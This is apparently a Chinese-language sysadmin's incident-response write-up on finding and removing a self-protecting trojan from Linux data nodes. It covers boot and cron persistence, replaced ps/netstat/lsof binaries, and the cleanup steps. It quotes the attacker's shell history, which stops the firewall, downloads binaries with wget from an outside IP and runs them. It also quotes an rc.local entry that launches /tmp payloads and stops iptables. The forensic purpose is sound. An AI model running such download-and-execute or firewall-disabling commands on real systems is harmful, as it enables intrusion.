[root@DataNode105 cron]# file /lib/udev/udev
/lib/udev/udev: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, stripped

查看开机启动项,发现木马服务已添加到开机启动(/etc/init.d软链到了/etc/rc.d/init.d):

[root@DataNode105 rc1.d]# ls -alt /etc/rc3.d/
lrwxrwxrwx   1 root root   15 Aug 16 10:33 S77.zl -> /etc/init.d/.zl
lrwxrwxrwx   1 root root   20 Aug 16 10:32 S90xmbgyycoxb -> ../init.d/xmbgyycoxb
lrwxrwxrwx   1 root root   20 Aug 13 00:01 S90hahidjqzxs -> ../init.d/hahidjqzxs

查看history,从hfs上下载木马

SuSEfirewall2 stop
reSuSEfirewall2 stop
wget  http://218.201.84.181:17566/dabao
chmod 0755 ./dabao
./dabao
wget  http://218.201.84.181:17566/init2
chmod 0755 ./init2
nohup ./init2 &
wget  http://218.201.84.181:17566/init4

查看rc.local(/etc/rc.local软链到了/etc/rc.d/rc.local,rc.local为开启自启动服务,系统根据runlevel启动完rcX.d中的脚本之后,会调用rc.local脚本)

[root@DataNode104 admin]# cat /etc/rc.local 
#!/bin/sh
#
# This script will be executed *after* all the other init scripts.
# You can put your own initialization stuff in here if you don't
# want to do the full Sys V style init stuff.
echo never >/sys/kernel/mm/redhat_transparent_hugepage/defrag
touch /var/lock/subsys/local
mount /dev/sda1 /data1
mount /dev/sdb1 /data2
mount /dev/sdc1 /data3
mount /dev/sdd1 /data4
mount /dev/sde1 /data5
mount /dev/sdf1 /data6
cd /tmp/
./sy&
/etc/init.d/iptables stop
cd /tmp/
./ddp&
/etc/init.d/iptables stop

查看/sbin /bin /usr/sbin /usr/bin下的系统命令,发现部分被替换

[root@DataNode110 admin]# ls -alt /bin/ | head -n 10
total 10836
-rwxr-xr-x   1 root root   625633 Aug 17 16:26 tawlqkazpu
dr-xr-xr-x.  2 root root     4096 Aug 17 16:26 .
-rwxr-xr-x   1 root root  1223123 Aug 17 11:30 ps
-rwxr-xr-x   1 root root  1223123 Aug 17 11:30 netstat
[root@DataNode110 admin]# ls -alt /usr/sbin/ | head -n 10
total 35620
-rwxr-xr-x   1 root root     1223123 Aug 17 11:30 ss
-rwxr-xr-x   1 root root     1223123 Aug 17 11:30 lsof

发现lsof、ps、netstat等命令被替换掉了。
总结一下:
被感染的文件路径列表:

/boot    中有随机的10位字母的进程执行文件
/tmp   中有随机的10位字母的进程执行文件
/bin     中有随机的10位字母的进程执行文件,且有部分系统命令被替换
/sbin     中有随机的10位字母的进程执行文件,且有部分系统命令被替换
/usr/bin   中有随机的10位字母的进程执行文件,且有部分系统命令被替换
/usr/sbin   中有随机的10位字母的进程执行文件,且有部分系统命令被替换
/tmp/.zl 可执行病毒文件
/etc/init.d   中有随机的10位字母的进程执行文件
/etc/rc.d/rc[0-6]d  中有随机的10位字母的进程执行文件
/etc/rc.local  木马已被写入启动项
/etc/crontab   木马已被写入crontab中,每3分钟执行一次
/etc/cron.hourly  木马已被写入cron每小时执行的脚本中
/lib/libudev.so 可执行病毒文件
/lib/udev/udev  可执行病毒文件

清理过程:

进程之前是相互守护的,杀死一个会马上启动。所以锁定所有木马存在的目录
1)删除rc.local中异常的内容,并且用其他服务器上相同系统版本的命令替换回netstat ps lsof等系统命令
删除
cd /tmp/
./sy&
/etc/init.d/iptables stop
cd /tmp/
./ddp&
/etc/init.d/iptables stop
2)锁定木马存在的目录,防止新的木马生成,设定文件不能被删除、改名、设定链接关系,同时不能写入或新增内容。
[root@DataNode105 admin]# chattr +i /usr/bin/
[root@DataNode105 admin]# chattr +i /bin/
[root@DataNode105 admin]# chattr +i /boot/
[root@DataNode105 admin]# chattr +i /tmp/
3)将木马权限设置为000
chmod 000 /tmp/lsxundgoos
4)删除启动项中的木马文件
删除/etc/crontab中异常内容
/etc/cron.hourly/cron.sh
 /etc/cron.hourly/gcc.sh
删除cron.sh和gcc.sh中启动的病毒文件
rm -rf /lib/libudev.so
rm -rf /lib/udev/udev
删除启动项中的病毒文件
rm -f /etc/rc.d/init.d/lsxundgoos
rm -f /etc/rc.d/lsxundgoos
5)重启
检查连接和进程无异常。
[root@DataNode105 admin]# chattr -i /usr/bin/
[root@DataNode105 admin]# chattr -i /bin/
[root@DataNode105 admin]# chattr -i /boot/
[root@DataNode105 admin]# chattr -i /tmp/
6)清除病毒文件
[root@DataNode104 admin]# ls -alt /boot/ | head -n 10
total 28463
dr-xr-xr-x.  5 root root     1024 Aug 17 16:09 .
-rwxr-xr-x   1 root root   274792 Aug 17 16:09 pekydjyfeu
dr-xr-xr-x. 29 root root     4096 Aug 17 16:06 ..
-rwxr-xr-x   1 root root   274792 Aug 17 16:00 ppqkyljmwn
[root@DataNode104 admin]# rm -f /boot/pekydjyfeu 
[root@DataNode104 admin]# rm -f /boot/ppqkyljmwn 
7)重启